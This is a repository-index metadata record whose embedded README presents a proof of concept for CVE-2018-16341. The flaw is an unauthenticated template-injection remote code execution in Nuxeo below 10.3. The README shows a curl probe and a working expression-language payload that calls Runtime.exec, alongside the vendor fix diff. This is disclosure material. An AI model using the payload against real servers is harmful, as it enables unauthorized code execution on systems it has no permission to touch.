{"id":18265863,"url":"https://github.com/mpgn/cve-2018-16341","last_synced_at":"2025-04-04T21:32:07.826Z","repository":{"id":43667221,"uuid":"190447165","full_name":"mpgn/CVE-2018-16341","owner":"mpgn","description":"CVE-2018-16341 - Nuxeo Remote Code Execution without authentication using Server Side Template Injection","archived":false,"fork":false,"pushed_at":"2019-06-05T18:43:28.000Z","size":3,"stargazers_count":25,"open_issues_count":0,"forks_count":12,"subscribers_count":1,"default_branch":"master","last_synced_at":"2024-08-05T17:44:38.687Z","etag":null,"topics":["rce","ssti"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mpgn.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2019-06-05T18:24:45.000Z","updated_at":"2023-09-28T11:02:36.000Z","dependencies_parsed_at":"2022-09-21T08:02:38.773Z","dependency_job_id":null,"html_url":"https://github.com/mpgn/CVE-2018-16341","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2018-16341","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2018-16341/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2018-16341/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2018-16341/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mpgn","download_url":"https://codeload.github.com/mpgn/CVE-2018-16341/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":223159538,"owners_count":17097489,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["rce","ssti"],"created_at":"2024-11-05T11:20:12.994Z","updated_at":"2024-11-05T11:20:13.672Z","avatar_url":"https://github.com/mpgn.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# CVE-2018-16341\n\nNuxeo Authentication Bypass Remote Code Execution \u003c 10.3 using a SSTI - CVE-2018-16341\n\n![image](https://user-images.githubusercontent.com/5891788/53368219-6e272b00-3948-11e9-8e08-b919c6cf1bcd.png)\n\n**Detailed analysis (not english)**:\n- https://www.freebuf.com/vuls/193000.html\n- https://blog.riskivy.com/nuxeo-rce-analysis-cve-2018-16341/\n\n**Security Advisory**:\n- https://github.com/nuxeo/nuxeo/commit/eb54a9145c6d8297eba9d7dafc74556e735fa388#diff-cf2094833ef0eea473d03bf6559f1798R97 \n\n**Note**: The version of Nuxeo 9.x is not [supported anymore](https://www.nuxeo.com/legal/supported-versions/) by Nuxeo but a hotfix has been provided for the version 9.x. On my side, the version 9.10 was vulnerable.\n\n---\n### The vulnerability\n\nThis PoC exploit a Server Side Template Injection (SSTI) in order to achieve the RCE located in the file `NuxeoUnknownResource.java`\n\n- To check if Nuxeo is vulnerable just send this payload and check for the number **49**:\n```\ncurl http://127.0.0.1:8080/nuxeo/login.jsp/pwn${-7+7}.xhtml\"\n```\n\n- Get the RCE using this payload:\n```\n${\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"touch /tmp/pwn.txt\",null).waitFor()}\n```\n\n---\nFix\n\n```diff\n@@ -94,8 +92,13 @@ public void connect() throws IOException {\n \n             @Override\n             public InputStream getInputStream() throws IOException {\n+                String message = \"ERROR: facelet not found\";\n+                // NXP-25746\n+                if (Framework.isDevModeSet() \u0026\u0026 !path.contains(\"$\") \u0026\u0026 !path.contains(\"#\")) {\n+                    message += \" at '\" + path + \"'\";\n+                }\n                 String msg = \"\u003cspan\u003e\u003cspan style=\\\"color:red;font-weight:bold;\\\"\u003e\"\n-                        + StringEscapeUtils.escapeHtml4(errorMessage) + \"\u003c/span\u003e\u003cbr/\u003e\u003c/span\u003e\";\n+                        + StringEscapeUtils.escapeHtml4(message) + \"\u003c/span\u003e\u003cbr/\u003e\u003c/span\u003e\";\n                 return new ByteArrayInputStream(msg.getBytes());\n             }\n         }\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmpgn%2Fcve-2018-16341","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmpgn%2Fcve-2018-16341","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmpgn%2Fcve-2018-16341/lists"}